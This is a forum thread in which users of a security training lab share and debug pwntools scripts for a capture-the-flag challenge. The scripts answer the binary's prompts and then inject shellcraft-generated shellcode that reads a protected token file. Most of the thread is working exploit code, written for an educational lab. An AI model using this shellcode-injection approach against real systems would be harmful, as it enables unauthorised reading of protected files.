Forum Discussion

kdkstudies's avatar
kdkstudies
Icon for Bronze I rankBronze I
2 months ago

Need Help for Pwntools: Ep. 6 — Demonstrate Your Skills

I'm trying to solve an lab in Immersive labs

Pwntools: Ep. 6 — Demonstrate Your Skills

And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immersivelabs/comments/1ap3tub/pwntools_ep_6_demonstrate_your_skills/) but it is still not working. Could you please help me with this if possible

shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0) is what I tried

from pwn import *
import struct
# Start the challenge binary
p = process("/opt/demonstrate-challenge") # Use the correct path
 
# === Part 1: Solve Arithmetic Challenge ===
p.recvuntil(b"What is the sum of ")
numbers = p.recvline().decode().strip().split(" and ")
num1 = int(numbers[0])
num2 = int(numbers[1].split("?")[0])
print(f"[+] Solving: {num1} + {num2} = {num1 + num2}")
p.sendline(str(num1 + num2))
 
# === Part 2: Solve Packing Challenge ===
p.recvuntil(b"Send me back the following two 32-bit unsigned integers packed in little-endian order:\n")
values = p.recvline().decode().strip().split(" and ")
val1 = int(values[0])
val2 =int(values[1])
print(f"[+] Packing values: {val1} and {val2}")
payload = struct.pack("<II", val1, val2)
p.send(payload)
 
# === Part 3: Leak Address of parsing_check() ===
elf = ELF("/opt/demonstrate-challenge") # Load the ELF binary
parsing_check_addr = elf.symbols['parsing_check']  # Get function address
print(f"[+] Found parsing_check() address: {hex(parsing_check_addr)}")
p.sendline(str(parsing_check_addr))
 
# === Part 4: Send Shellcode to Read /home/token-user/token.txt ===
file_path = '/home/token-user/token.txt'
shellcode = shellcraft.cat2(file_path, 1, 40)  # Pwntools shellcode
shellcode += shellcraft.ret()  # Ensure proper return
assembled_shellcode = asm(shellcode)
p.send(assembled_shellcode)
 
# === Get Flag Output ===
response = p.recvall()
print(response)

  • well, as indicated in reddit sub:

    ...
    shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0)
    shellcode = asm(shellcode)
    print ("Sending Shellcode:",shellcode, " ---#")
    io.send(shellcode)
    io.sendline()
    ...

    should work.

    looking at my old solution I see that I remote connected:

    io = remote('10.102.180.68',5000)

    somehow I don't see this in your code.

    could it be (it's been a long time) that you're working on the wrong endpoint?

  • Additionally I've tried these as well.

    shellcode = asm(shellcraft.cat("/home/token-user/token.txt"))
    shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0)
    shellcode = asm(shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0))

     

  • For me the following worked:

    # Generate shellcode to read the file using pwntools shellcraft
    context.arch = "amd64"
        
    # Generate shellcode using shellcraft to read file and print the content as hex
    shellcode = asm(shellcraft.cat2("/home/token-user/token.txt"))

     

    • steven's avatar
      steven
      Icon for Silver I rankSilver I

      yeah.. as I wrote above... remote :)
      and:

      context.arch = 'amd64'
      context.os = 'linux'

       

  • For me these approaches didn't work. And while the source code suggests the shellcode is treated 100% binary, I had to encode it. After getting rid of whitespaces etc. the shellcode worked.

    I can add more hints, if this was too vague.

  • I'm having real difficulties with this one. if I run it locally on my host, I am able to return my own token but I get a seg fault. If I then move it across to remote using socat I do not get the token returned. This is what I have:

    from pwn import *
    import re
    
    context.arch = 'amd64'
    context.os = 'linux'
    
    def main():
        r_tube = process("/opt/demonstrate-challenge")
        r_tube.recvuntil(b"The output may not display correctly in a terminal, so it may be safer to print it as a hexdump.")
        shellcode = shellcraft.cat2('/home/token-user/token.txt', 1, 40) + shellcraft.ret(0)
        shellcode = asm(shellcode)
        r_tube.send(shellcode)
        data = r_tube.recvall(5)
        print(hexdump(data))
    
    if __name__ == "__main__":
        main()



    I've tried the shell code in every which way and as I say I can get it locally but not remote, trying to run it on socat through my dev box it fails as well so I suspect it's something with socat that's not working as I expect. Wouldn't mind a nudge as I've spent a few months on and off on this to no avail.

    • IotS2024's avatar
      IotS2024
      Icon for Bronze III rankBronze III

      I think there is some steps missing in your code. Go up take the provided code and make the adjustments in the replies and it should work.

      • talnet23's avatar
        talnet23
        Icon for Bronze I rankBronze I

        Thanks for coming back to me, sorry I removed some of the steps for brevity but this is the full code that works fine locally but not though the remote connection:

        from pwn import *
        import re
        
        context.arch = 'amd64'
        context.os = 'linux'
        
        def main():
            r_tube = process("/opt/demonstrate-challenge")
            #r_tube = remote("127.0.0.1", 1234)
        
            print("Stage 1")
            r_tube.recvuntil(b"What is the sum of")
            line = r_tube.recvline().decode()
            nums = [int(x) for x in line.strip().replace('?', '').split(' and ')]
            answer = nums[0] + nums[1]
            r_tube.sendline(str(answer).encode())
        
            print("Stage 2")
            r_tube.recvuntil(b':')
            r_tube.recvline()
            line = r_tube.recvline().decode().strip()
            val1, val2 = [int(x) for x in line.split(" and ")]
            packed = p32(val1) + p32(val2)
            r_tube.send(packed)
        
            print("Stage 3")
            elf = ELF('/opt/demonstrate-challenge')
            parsing_check_addr = elf.symbols['parsing_check']
            r_tube.sendline(str(parsing_check_addr))
        
            print("Stage 4")
            shellcode = shellcraft.cat2('/home/token-user/token.txt', 1, 40) + shellcraft.ret(0)
            shellcode = asm(shellcode)
            r_tube.send(shellcode)
            data = r_tube.recvall(5)
            print(hexdump(data))
        
        if __name__ == "__main__":
            main()

        Again I get a SegFault with this and copying the code above I get a SegFault too and both of which provide the token.txt locally but not through the remote connection.